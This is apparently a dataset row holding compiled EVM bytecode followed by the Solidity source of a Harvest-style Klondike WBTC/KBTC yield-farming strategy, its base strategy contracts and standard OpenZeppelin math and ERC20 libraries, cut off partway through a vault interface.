61050e90611900565b80601f016020809104026020016040519081016040528092919081815260200182805461053a90611900565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b505050505081565b600061059c338484610d8d565b50600192915050565b6005546001600160a01b031633146105d85760405162461bcd60e51b81526004016105cf9061186f565b60405180910390fd5b7f07ce702fc13ca0620c174dab22996a6d5fd9e7accb663555a4e85323692706ba82826040516106099291906117fd565b60405180910390a15050565b6000610622848484610def565b6001600160a01b0384166000908152600160209081526040808320338452909152902054600160ff1b8110156106815761065c83826118e9565b6001600160a01b03861660009081526001602090815260408083203384529091529020555b506001949350505050565b6005546001600160a01b031633146106da5760405162461bcd60e51b81526020600482015260116024820152703737ba1031b630b4b6903232b632ba32b960791b60448201526064016105cf565b6040516332a7ae9560e01b81526001600160a01b0382811660048301527f0000000000000000000000009b886c04ce3cfb74e644de92d65cfb873636e1fb16906332a7ae9590602401600060405180830381600087803b15801561073d57600080fd5b505af1158015610751573d6000803e3d6000fd5b5050505050565b6005546001600160a01b031633146107825760405162461bcd60e51b81526004016105cf9061186f565b61078c8282610e48565b5050565b600061079c8585610b7d565b80156108275750604051635260769b60e11b81526001600160a01b0386169063a4c0ed36906107d59033908890889088906004016117cb565b602060405180830381600087803b1580156107ef57600080fd5b505af1158015610803573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108279190611637565b95945050505050565b6005546001600160a01b0316331461085a5760405162461bcd60e51b81526004016105cf9061186f565b61078c8282610ebf565b61086f333083610def565b6108793082610f15565b50565b6005546001600160a01b031633146108a65760405162461bcd60e51b81526004016105cf9061186f565b61078c8282610f7d565b6005546001600160a01b031633146108da5760405162461bcd60e51b81526004016105cf9061186f565b60006108e5856109e9565b9050808411156109295760405162461bcd60e51b815260206004820152600f60248201526e0c2dadeeadce840e8dede40d0d2ced608b1b60448201526064016105cf565b83600a600082825461093b91906118ac565b92505081905550846001600160a01b03167f0a605cd1294f60fa3b73548ac68428f33300a051f225afcdcc75e56083c96ee785858560405161097f93929190611892565b60405180910390a25050505050565b336001600160a01b037f0000000000000000000000009b886c04ce3cfb74e644de92d65cfb873636e1fb16146109d65760405162461bcd60e51b81526004016105cf90611849565b61078c82826109e4856109e9565b610def565b6001600160a01b03166000908152602081905260409020546001600160e01b031690565b60006001600160a01b038216301415610a2857506001919050565b6003546001600160a01b03838116610100909204161415610a4b57505060045490565b506000919050565b6005546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016105cf9061186f565b8051610a90906008906020840190611302565b507fe9f2468ecc8d3dff15a70a5909151e6297cee4cf05268eff3d7ef0c696ec50f281604051610ac09190611811565b60405180910390a150565b6007805461050e90611900565b6005546001600160a01b03163314610b025760405162461bcd60e51b81526004016105cf9061186f565b610b0a610b90565b811015610b485760405162461bcd60e51b815260206004820152600c60248201526b62656c6f7720737570706c7960a01b60448201526064016105cf565b60098190556040518181527fdcbf73bf1e396dbe03ccbcd29c0aa52eb8028ae24726098296357286de4f5b2690602001610ac0565b6000610b898383610fd6565b9392505050565b6000600a54610b9e60025490565b610ba891906118e9565b905090565b336001600160a01b037f0000000000000000000000009b886c04ce3cfb74e644de92d65cfb873636e1fb1614610bf55760405162461bcd60e51b81526004016105cf90611849565b61087981600a60016110ab565b6008805461050e90611900565b336001600160a01b037f0000000000000000000000009b886c04ce3cfb74e644de92d65cfb873636e1fb1614610c575760405162461bcd60e51b81526004016105cf90611849565b61087981600a60006110ab565b6005546001600160a01b03163314610c8e5760405162461bcd60e51b81526004016105cf9061186f565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b610cf48484610830565b604051635260769b60e11b81526001600160a01b0385169063a4c0ed3690610d269088908790879087906004016117cb565b602060405180830381600087803b158015610d4057600080fd5b505af1158015610d54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d789190611637565b61075157600080fd5b6000610b89838361110f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610df9838261114f565b610e0382826111e5565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610de291815260200190565b60038054610100600160a81b0319166101006001600160a01b038581168202929092179283905590910416610e805760006004555050565b60008111610eb95760405162461bcd60e51b81526004016105cf906020808252600490820152637a65726f60e01b604082015260600190565b60045550565b60095481610ecb610b90565b610ed591906118ac565b1115610f0b5760405162461bcd60e51b81526020600482015260056024820152641d1bdd185b60da1b60448201526064016105cf565b61078c8282611295565b8060026000828254610f2791906118e9565b90915550610f379050828261114f565b6040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b8151610f90906007906020850190611302565b508051610fa4906006906020840190611302565b507f6c20b91d1723b78732eba64ff11ebd7966a6e4af568a00fa4f6b72c20f58b02a8183604051610609929190611824565b6000610fe283836112f5565b6110195760405162461bcd60e51b81526020600482015260086024820152673a3930b739b332b960c11b60448201526064016105cf565b61102433600a61110f565b1561059c576040516304d301a360e41b81523360048201527f0000000000000000000000009b886c04ce3cfb74e644de92d65cfb873636e1fb6001600160a01b031690634d301a3090602401600060405180830381600087803b15801561108a57600080fd5b505af115801561109e573d6000803e3d6000fd5b5050505050600192915050565b60006110b88360e06118c4565b6001600160a01b038516600090815260208190526040902054600160ff929092169190911b9150808216821483151514610751576001600160a01b0394909416600090815260208190526040902093189092555050565b60008061111d8360e06118c4565b6001600160a01b038516600090815260208190526040902054600160ff929092169190911b9081161491505092915050565b6001600160a01b0382166000908152602081905260408120549061117383836118e9565b90506001600160e01b031981166001600160e01b03198316146111c45760405162461bcd60e51b8152602060048201526009602482015268756e646572666c6f7760b81b60448201526064016105cf565b6001600160a01b039093166000908152602081905260409020929092555050565b6001600160a01b0382166112215760405162461bcd60e51b815260206004820152600360248201526203078360ec1b60448201526064016105cf565b6001600160a01b0382166000908152602081905260408120549061124583836118ac565b90506001600160e01b031981166001600160e01b03198316146111c45760405162461bcd60e51b81526020600482015260086024820152676f766572666c6f7760c01b60448201526064016105cf565b80600260008282546112a791906118ac565b909155506112b7905082826111e5565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610f71565b600061059c338484610def565b82805461130e90611900565b90600052602060002090601f0160209004810192826113305760008555611376565b82601f1061134957805160ff1916838001178555611376565b82800160010185558215611376579182015b8281111561137657825182559160200191906001019061135b565b50611382929150611386565b5090565b5b808211156113825760008155600101611387565b60008083601f8401126113ad57600080fd5b50813567ffffffffffffffff8111156113c557600080fd5b6020830191508360208285010111156113dd57600080fd5b9250929050565b600082601f8301126113f557600080fd5b813567ffffffffffffffff8082111561141057611410611951565b604051601f8301601f19908116603f0116810190828211818310171561143857611438611951565b8160405283815286602085880101111561145157600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561148357600080fd5b8135610b8981611967565b600080604083850312156114a157600080fd5b82356114ac81611967565b915060208301356114bc81611967565b809150509250929050565b6000806000606084860312156114dc57600080fd5b83356114e781611967565b925060208401356114f781611967565b929592945050506040919091013590565b60008060008060006080868803121561152057600080fd5b853561152b81611967565b9450602086013561153b81611967565b935060408601359250606086013567ffffffffffffffff81111561155e57600080fd5b61156a8882890161139b565b969995985093965092949392505050565b6000806040838503121561158e57600080fd5b823561159981611967565b946020939093013593505050565b600080600080606085870312156115bd57600080fd5b84356115c881611967565b935060208501359250604085013567ffffffffffffffff8111156115eb57600080fd5b6115f78782880161139b565b95989497509550505050565b6000806040838503121561161657600080fd5b823561162181611967565b9150602083013560ff811681146114bc57600080fd5b60006020828403121561164957600080fd5b81518015158114610b8957600080fd5b6000806020838503121561166c57600080fd5b823567ffffffffffffffff81111561168357600080fd5b61168f8582860161139b565b90969095509350505050565b6000602082840312156116ad57600080fd5b813567ffffffffffffffff8111156116c457600080fd5b6116d0848285016113e4565b949350505050565b600080604083850312156116eb57600080fd5b823567ffffffffffffffff8082111561170357600080fd5b61170f868387016113e4565b9350602085013591508082111561172557600080fd5b50611732858286016113e4565b9150509250929050565b60006020828403121561174e57600080fd5b5035919050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6000815180845260005b818110156117a457602081850181015186830182015201611788565b818111156117b6576000602083870101525b50601f01601f19169290920160200192915050565b60018060a01b03851681528360208201526060604082015260006117f3606083018486611755565b9695505050505050565b6020815260006116d0602083018486611755565b602081526000610b89602083018461177e565b604081526000611837604083018561177e565b8281036020840152610827818561177e565b6020808252600c908201526b6e6f74207265636f7665727960a01b604082015260600190565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b838152604060208201526000610827604083018486611755565b600082198211156118bf576118bf61193b565b500190565b600060ff821660ff84168060ff038211156118e1576118e161193b565b019392505050565b6000828210156118fb576118fb61193b565b500390565b600181811c9082168061191457607f821691505b6020821081141561193557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087957600080fdfea2646970667358221220a6e7cb5b04c6bc496b6daa0cb2bab21c7a2a9ee96b100ef007e4d147f6e3b4d864736f6c63430008070033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
16086,
2620,
2509,
2278,
11329,
2063,
20842,
16068,
2278,
18139,
2575,
2487,
9818,
21619,
9468,
3676,
2683,
2620,
2497,
16576,
11387,
21486,
22907,
2581,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
15826,
1998,
10426,
2013,
2330,
4371,
27877,
2378,
1013,
1013,
24081,
1024,
1013,
1013,
1011,
12719,
2000,
2490,
9413,
2278,
1011,
6163,
2581,
1013,
1013,
1011,
3718,
14203,
5478,
8635,
1013,
1013,
1011,
3718,
28177,
2078,
6123,
1013,
1013,
1011,
9725,
2000,
1014,
1012,
1022,
2000,
4530,
3647,
18900,
2232,
1013,
1013,
1011,
2292,
2171,
1006,
1007,
1998,
6454,
1006,
1007,
2022,
7528,
2011,
4942,
26266,
1013,
1013,
1011,
10709,
21447,
2490,
1010,
2007,
1016,
1034,
20637,
1998,
2682,
2641,
10709,
1013,
1013,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,599 | 0x95665e4b45912525CF2607A9AeE460bcCa2a6d32 | pragma solidity 0.5.16;
import "../../base/snx-base/interfaces/SNXRewardInterface.sol";
import "../../base/snx-base/SNXReward2FarmStrategyUL.sol";
contract Klondike2FarmStrategyMainnet_WBTC_KBTC is SNXReward2FarmStrategyUL {
address public wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
address public wbtc_kbtc = address(0x1F3D61248EC81542889535595903078109707941);
address public kbtc = address(0xE6C3502997f97F9BDe34CB165fBce191065E068f);
address public klon = address(0xB97D5cF2864FB0D08b34a484FF48d5492B2324A0);
address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public WBTCKBTCRewardPool = address(0xDE8fBa1447f7c29F31Bd4aa0b9b1b51Eb6348148);
address public constant universalLiquidatorRegistry = address(0x7882172921E99d590E097cD600554339fBDBc480);
address public constant farm = address(0xa0246c9032bC3A600820415aE600c6388619A14D);
constructor(
address _storage,
address _vault,
address _distributionPool
)
SNXReward2FarmStrategyUL(_storage, wbtc_kbtc, _vault, WBTCKBTCRewardPool, klon, universalLiquidatorRegistry, farm, _distributionPool)
public {
require(IVault(_vault).underlying() == wbtc_kbtc, "Underlying mismatch");
liquidationPath = [klon, farm];
liquidationDexes.push(bytes32(uint256(keccak256("uni"))));
}
}
pragma solidity 0.5.16;
interface SNXRewardInterface {
function withdraw(uint) external;
function getReward() external;
function stake(uint) external;
function balanceOf(address) external view returns (uint256);
function earned(address account) external view returns (uint256);
function exit() external;
}
pragma solidity 0.5.16;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../StrategyBaseUL.sol";
import "../interface/IVault.sol";
import "../interface/IRewardDistributionSwitcher.sol";
import "../interface/INoMintRewardPool.sol";
import "./interfaces/SNXRewardInterface.sol";
/*
* This is a general strategy for yields that are based on the synthetix reward contract
* for example, yam, spaghetti, ham, shrimp.
*
* One strategy is deployed for one underlying asset, but the design of the contract
* should allow it to switch between different reward contracts.
*
* It is important to note that not all SNX reward contracts that are accessible via the same interface are
* suitable for this Strategy. One concrete example is CREAM.finance, as it implements a "Lock" feature and
* would not allow the user to withdraw within some timeframe after the user have deposited.
* This would be problematic to user as our "invest" function in the vault could be invoked by anyone anytime
* and thus locking/reverting on subsequent withdrawals. Another variation is the YFI Governance: it can
* activate a vote lock to stop withdrawal.
*
* Ref:
* 1. CREAM https://etherscan.io/address/0xc29e89845fa794aa0a0b8823de23b760c3d766f5#code
* 2. YAM https://etherscan.io/address/0x8538E5910c6F80419CD3170c26073Ff238048c9E#code
* 3. SHRIMP https://etherscan.io/address/0x9f83883FD3cadB7d2A83a1De51F9Bf483438122e#code
* 4. BASED https://etherscan.io/address/0x5BB622ba7b2F09BF23F1a9b509cd210A818c53d7#code
* 5. YFII https://etherscan.io/address/0xb81D3cB2708530ea990a287142b82D058725C092#code
* 6. YFIGovernance https://etherscan.io/address/0xBa37B002AbaFDd8E89a1995dA52740bbC013D992#code
*
*
*
* Respecting the current system design of choosing the best strategy under the vault, and also rewarding/funding
* the public key that invokes the switch of strategies, this smart contract should be deployed twice and linked
* to the same vault. When the governance want to rotate the crop, they would set the reward source on the strategy
* that is not active, then set that apy higher and this one lower.
*
* Consequently, in the smart contract we restrict that we can only set a new reward source when it is not active.
*
*/
contract SNXReward2FarmStrategyUL is StrategyBaseUL {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public farm;
address public distributionPool;
address public distributionSwitcher;
address public rewardToken;
bool public pausedInvesting = false; // When this flag is true, the strategy will not be able to invest. But users should be able to withdraw.
SNXRewardInterface public rewardPool;
// a flag for disabling selling for simplified emergency exit
bool public sell = true;
uint256 public sellFloor = 1e6;
// Instead of trying to pass in the detailed liquidation path and different dexes to the liquidator,
// we just pass in the input output of the liquidation path:
// [ MIC, WETH, FARM ] , [SUSHI, UNI]
//
// This means that:
// the first dex is sushi, the input is MIC and output is WETH.
// the second dex is uni, the input is WETH and the output is FARM.
// the universal liquidator itself would record the best path to liquidate from MIC to WETH on Sushiswap
// provides the path for liquidating a token
address [] public liquidationPath;
// specifies which DEX is the token liquidated on
bytes32 [] public liquidationDexes;
event ProfitsNotCollected();
// This is only used in `investAllUnderlying()`
// The user can still freely withdraw from the strategy
modifier onlyNotPausedInvesting() {
require(!pausedInvesting, "Action blocked as the strategy is in emergency state");
_;
}
constructor(
address _storage,
address _underlying,
address _vault,
address _rewardPool,
address _rewardToken,
address _universalLiquidatorRegistry,
address _farm,
address _distributionPool
)
StrategyBaseUL(_storage, _underlying, _vault, _farm, _universalLiquidatorRegistry)
public {
require(_vault == INoMintRewardPool(_distributionPool).lpToken(), "distribution pool's lp must be the vault");
require(
(_farm == INoMintRewardPool(_distributionPool).rewardToken())
|| (_farm == IVault(INoMintRewardPool(_distributionPool).rewardToken()).underlying()),
"distribution pool's reward must be FARM or iFARM");
farm = _farm;
distributionPool = _distributionPool;
rewardToken = _rewardToken;
rewardPool = SNXRewardInterface(_rewardPool);
}
function depositArbCheck() public view returns(bool) {
return true;
}
/*
* In case there are some issues discovered about the pool or underlying asset
* Governance can exit the pool properly
* The function is only used for emergency to exit the pool
*/
function emergencyExit() public onlyGovernance {
rewardPool.exit();
pausedInvesting = true;
}
/*
* Resumes the ability to invest into the underlying reward pools
*/
function continueInvesting() public onlyGovernance {
pausedInvesting = false;
}
function setLiquidationPaths(address [] memory _liquidationPath, bytes32[] memory _dexes) public onlyGovernance {
liquidationPath = _liquidationPath;
liquidationDexes = _dexes;
}
function _liquidateReward() internal {
uint256 rewardBalance = IERC20(rewardToken).balanceOf(address(this));
if (!sell || rewardBalance < sellFloor) {
// Profits can be disabled for possible simplified and rapid exit
emit ProfitsNotCollected();
return;
}
// sell reward token to FARM
// we can accept 1 as minimum because this is called only by a trusted role
address uliquidator = universalLiquidator();
IERC20(rewardToken).safeApprove(uliquidator, 0);
IERC20(rewardToken).safeApprove(uliquidator, rewardBalance);
ILiquidator(uliquidator).swapTokenOnMultipleDEXes(
rewardBalance,
1,
address(this), // target
liquidationDexes,
liquidationPath
);
uint256 farmAmount = IERC20(farm).balanceOf(address(this));
// Share profit + buyback
notifyProfitAndBuybackInRewardToken(farmAmount, distributionPool);
}
/*
* Stakes everything the strategy holds into the reward pool
*/
function investAllUnderlying() internal onlyNotPausedInvesting {
// this check is needed, because most of the SNX reward pools will revert if
// you try to stake(0).
if(IERC20(underlying).balanceOf(address(this)) > 0) {
IERC20(underlying).approve(address(rewardPool), IERC20(underlying).balanceOf(address(this)));
rewardPool.stake(IERC20(underlying).balanceOf(address(this)));
}
}
/*
* Withdraws all the asset to the vault
*/
function withdrawAllToVault() public restricted {
if (address(rewardPool) != address(0)) {
if (rewardPool.balanceOf(address(this)) > 0) {
rewardPool.exit();
}
}
_liquidateReward();
if (IERC20(underlying).balanceOf(address(this)) > 0) {
IERC20(underlying).safeTransfer(vault, IERC20(underlying).balanceOf(address(this)));
}
}
/*
* Withdraws all the asset to the vault
*/
function withdrawToVault(uint256 amount) public restricted {
// Typically there wouldn't be any amount here
// however, it is possible because of the emergencyExit
if(amount > IERC20(underlying).balanceOf(address(this))){
// While we have the check above, we still using SafeMath below
// for the peace of mind (in case something gets changed in between)
uint256 needToWithdraw = amount.sub(IERC20(underlying).balanceOf(address(this)));
rewardPool.withdraw(Math.min(rewardPool.balanceOf(address(this)), needToWithdraw));
}
IERC20(underlying).safeTransfer(vault, amount);
}
/*
* Note that we currently do not have a mechanism here to include the
* amount of reward that is accrued.
*/
function investedUnderlyingBalance() external view returns (uint256) {
if (address(rewardPool) == address(0)) {
return IERC20(underlying).balanceOf(address(this));
}
// Adding the amount locked in the reward pool and the amount that is somehow in this contract
// both are in the units of "underlying"
// The second part is needed because there is the emergency exit mechanism
// which would break the assumption that all the funds are always inside of the reward pool
return rewardPool.balanceOf(address(this)).add(IERC20(underlying).balanceOf(address(this)));
}
/*
* Governance or Controller can claim coins that are somehow transferred into the contract
* Note that they cannot come in take away coins that are used and defined in the strategy itself
* Those are protected by the "unsalvagableTokens". To check, see where those are being flagged.
*/
function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance {
// To make sure that governance cannot come in and take away the coins
require(!unsalvagableTokens[token], "token is defined as not salvagable");
IERC20(token).safeTransfer(recipient, amount);
}
/*
* Get the reward, sell it in exchange for underlying, invest what you got.
* It's not much, but it's honest work.
*
* Note that although `onlyNotPausedInvesting` is not added here,
* calling `investAllUnderlying()` affectively blocks the usage of `doHardWork`
* when the investing is being paused by governance.
*/
function doHardWork() external onlyNotPausedInvesting restricted {
rewardPool.getReward();
_liquidateReward();
investAllUnderlying();
}
/**
* Can completely disable claiming UNI rewards and selling. Good for emergency withdraw in the
* simplest possible way.
*/
function setSell(bool s) public onlyGovernance {
sell = s;
}
/**
* Sets the minimum amount of CRV needed to trigger a sale.
*/
function setSellFloor(uint256 floor) public onlyGovernance {
sellFloor = floor;
}
}
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.5.16;
import "./inheritance/RewardTokenProfitNotifier.sol";
import "./interface/IStrategy.sol";
import "./interface/ILiquidator.sol";
import "./interface/ILiquidatorRegistry.sol";
contract StrategyBaseUL is IStrategy, RewardTokenProfitNotifier {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event ProfitsNotCollected(address);
event Liquidating(address, uint256);
address public underlying;
address public vault;
mapping (address => bool) public unsalvagableTokens;
address public universalLiquidatorRegistry;
modifier restricted() {
require(msg.sender == vault || msg.sender == address(controller()) || msg.sender == address(governance()),
"The sender has to be the controller or vault or governance");
_;
}
constructor(
address _storage,
address _underlying,
address _vault,
address _rewardToken,
address _universalLiquidatorRegistry
) RewardTokenProfitNotifier(_storage, _rewardToken) public {
underlying = _underlying;
vault = _vault;
unsalvagableTokens[_rewardToken] = true;
unsalvagableTokens[_underlying] = true;
universalLiquidatorRegistry = _universalLiquidatorRegistry;
}
function universalLiquidator() public view returns(address) {
return ILiquidatorRegistry(universalLiquidatorRegistry).universalLiquidator();
}
}
pragma solidity 0.5.16;
interface IVault {
function initializeVault(
address _storage,
address _underlying,
uint256 _toInvestNumerator,
uint256 _toInvestDenominator
) external ;
function balanceOf(address) external view returns (uint256);
function underlyingBalanceInVault() external view returns (uint256);
function underlyingBalanceWithInvestment() external view returns (uint256);
// function store() external view returns (address);
function governance() external view returns (address);
